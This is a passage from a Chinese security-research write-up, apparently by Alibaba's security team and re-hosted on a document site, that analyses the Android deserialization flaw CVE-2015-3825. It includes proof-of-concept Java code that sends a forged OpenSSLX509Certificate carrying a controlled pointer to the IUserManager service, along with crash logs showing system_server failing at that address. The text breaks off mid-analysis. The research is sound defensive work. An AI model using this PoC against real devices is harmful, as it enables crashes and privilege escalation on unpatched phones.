您好,欢迎访问三七文档
OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析作者:没羽官网:百度搜素“阿里聚安全”官方微博:阿里聚安全官方微信:阿里聚安全一、序序列化(Serialization),是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。使用者可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。Android也有许多场景使用序列化进行数据传递,如App间/内的对象传递、Binder通信的数据传递等等,一般涉及跨进程、跨权限。序列化/反序列也是程序/接口的一个输入,存储区的内容或序列是可被随机填充,如果使用时验证不完整,也会导致安全漏洞。在Android系统中,可通过序列化/反序列化漏洞实现App拒绝服务、提升权限等攻击。二、漏洞成因这个Android序列化漏洞(CVE-2015-3825),影响Android4.3及Android5.1版本,也就是JellyBean、KitKat、棒棒糖和AndroidM预览版1,波及55%的Android设备。可在受影响的设备上提权到system权限,也就意味着攻击者可以通过替换目标应用的apk接管受害者手机上的任意应用。这个漏洞是由的IBM安全团队OrPeles和RoeeHay在USENIX2015大会上的议题《ONECLASSTORULETHEMALL0-DAYDESERIALIZATIONVULNERABILITIESINANDROID》[1]。2.1PoC构造Paper作者没放出Exploit也没放出PoC,根据这篇paper我们可以知道,漏洞出在OpenSSLX509Certificate(全包名路径为com.android.org.conscrypt.OpenSSLX509Certificate)类,OpenSSLX509Certificate类满足:1)OpenSSLX509Certificate是可序列化的,因为他继承自可序列化的Certificate类;2)它有一个finalize()方法,并且有调用native的方法(libjavascrypto.so中),参数fieldmContext,long型(实际为指针类型);3)OpenSSLX509Certificate也没有实现特定的反序列化方法(readObject和readResolve);其中mContext就是要找的可被攻击控制的指针。我对CVE-2014-7911的POC进行了改造,首先定义类com.android.org.conscrypt.ApenSSLX509Certificate,如下:publicclassApenSSLX509CertificateimplementsSerializable{//privatestaticfinallongserialVersionUID=-5454153458060784251L;//android4.4.2emulatorprivatestaticfinallongserialVersionUID=-8550350185014308538L;//android5.1.1emulatorpublicfinallongmContext;ApenSSLX509Certificate(longctx){mContext=ctx;}}注意包名为com.android.org.conscrypt,然后在同包名下创建一个MainActivity.java,对ApenSSLX509Certificate进行调用:com.android.org.conscrypt.ApenSSLX509CertificateevilProxy=newcom.android.org.conscrypt.ApenSSLX509Certificate(0x7f7f7f7f7f7f7f7fL);b.putSerializable(eatthis,evilProxy);和CVE-2014-7911PoC一样,向“android.os.IUserManager”的service发送请求前,修改类名:intl=data.length;for(inti=0;il-4;i++){if(data[i]=='A'&&data[i+1]=='p'&&data[i+2]=='e'&&data[i+3]=='n'){data[i]='O';break;}}类似CVE-2014-7911的分析,我们也对service.jar加一些日志信息输出,在Android4.4.2的AVD中,安装、运行PoC,我们看到:E/CVE-2014-7911-trace(1669):setApplicationRestrictionsE/CVE-2014-7911-trace(1669):writeApplicationRestrictionsLockedE/CVE-2014-7911-trace(1669):writeApplicationRestrictionsLocked::for::eatthisE/CVE-2014-7911-trace(1669):writeApplicationRestrictionsLocked::for::elseE/CVE-2014-7911-trace(1669):writeApplicationRestrictionsLocked::ExceptionE/CVE-2014-7911-trace(1669):writeApplicationRestrictionsLocked::Exception::java.lang.ClassCastException:com.android.org.conscrypt.OpenSSLX509Certificatecannotbecasttojava.lang.String[]W/System.err(1669):java.lang.ClassCastException:com.android.org.conscrypt.OpenSSLX509Certificatecannotbecasttojava.lang.String[]atcom.android.server.pm.UserManagerService.writeApplicationRestrictionsLocked(UserManagerService.java:1417)atcom.android.server.pm.UserManagerService.setApplicationRestrictions(UserManagerService.java:1124)atandroid.os.IUserManager$Stub.onTransact(IUserManager.java:245)W/System.err(1669):atandroid.os.Binder.execTransact(Binder.java:404)W/System.err(1669):atdalvik.system.NativeStart.run(NativeMethod)E/UserManagerService(1669):Errorwritingapplicationrestrictionslist也是强制类型转换导致异常,与CVE-2014-7911的强制转换为java.io.Serializable导致的异常不同,因为传入的object本身不是序列化的对象,致使类型转换失败。CVE-2015-3825是将com.android.org.conscrypt.OpenSSLX509Certificate强制转换为java.lang.String[]而产生的异常。验证PoC过程中,在Android4.4.2AVD,只触发了“Errorwritingapplicationrestrictionslist”异常,但是GC资源回收没被触发。在Android5.1.1AVD,可以通过重复发送n次的“TRANSACTION_setApplicationRestrictions”请求可以触发GC回收资源,最后导致system_server的crash:A/libc(4839):Fatalsignal11(SIGSEGV),code1,faultaddr0x7f7f7f8fintid4848(FinalizerDaemon)I/DEBUG(61):************************************************I/DEBUG(61):Buildfingerprint:'generic/sdk_phone_armv7/generic:5.1/LKY45/1737576:eng/test-keys'I/DEBUG(61):Revision:'0'I/DEBUG(61):ABI:'arm'I/DEBUG(61):pid:4839,tid:4848,name:FinalizerDaemonsystem_serverI/DEBUG(61):signal11(SIGSEGV),code1(SEGV_MAPERR),faultaddr0x7f7f7f8fI/DEBUG(61):r000000000r10000000cr200000000r300000000I/DEBUG(61):r4b6c9766fr500000003r6ffffffffr77f7f7f8fI/DEBUG(61):r800000075r9b6c24ac9sla78fbaa4fp13068980I/DEBUG(61):ip00000001spa78fba58lrb6c3da1dpcb6c3da1ccpsr60000030I/DEBUG(61):backtrace:I/DEBUG(61):#00pc00072a1c/system/lib/libcrypto.so(CRYPTO_add_lock+59)I/DEBUG(61):#01pc000579b1/system/lib/libcrypto.so(asn1_do_lock+68)I/DEBUG(61):#02pc0005646f/system/lib/libcrypto.so09-0620:31:31.394:I/DEBUG(61):#03pc00056415/system/lib/libcrypto.so(ASN1_item_free+12)09-0620:31:31.395:I/DEBUG(61):#04pc00017c0d/data/dalvik-cache/arm/system@framework@boot.oat09-0620:32:09.116:I/art(5663):BackgroundstickyconcurrentmarksweepGCfreed7340(386KB)AllocSpaceobjects,0(0B)LOSobjects,45%free,603KB/1117KB,paused887ustotal513.880ms09-0620:32:22.682:I/DEBUG(61):Tombstonewrittento:/data/tombstones/tombstone_012.2异常分析这里基于Android5.1.1AVD上的分析。上面说到,“TRANSACTION_setApplicationRestrictions”请求发出后,导致一个异常,然后GC回收资源。从源代码分析,GC调用OpenSSLX509Certificate.finalize():@Overrideprotectedvoidfinalize()throwsThrowable{try{if(mContext!=0){NativeCrypto.X509_free(mContext);}}finally{super.finalize();}}然后调用NativeCrypto.X509_free()方
本文标题:OpenSSLX509Certificate反序列化漏洞(CVE-2015-3825)成因分析
链接地址:https://www.777doc.com/doc-2847566 .html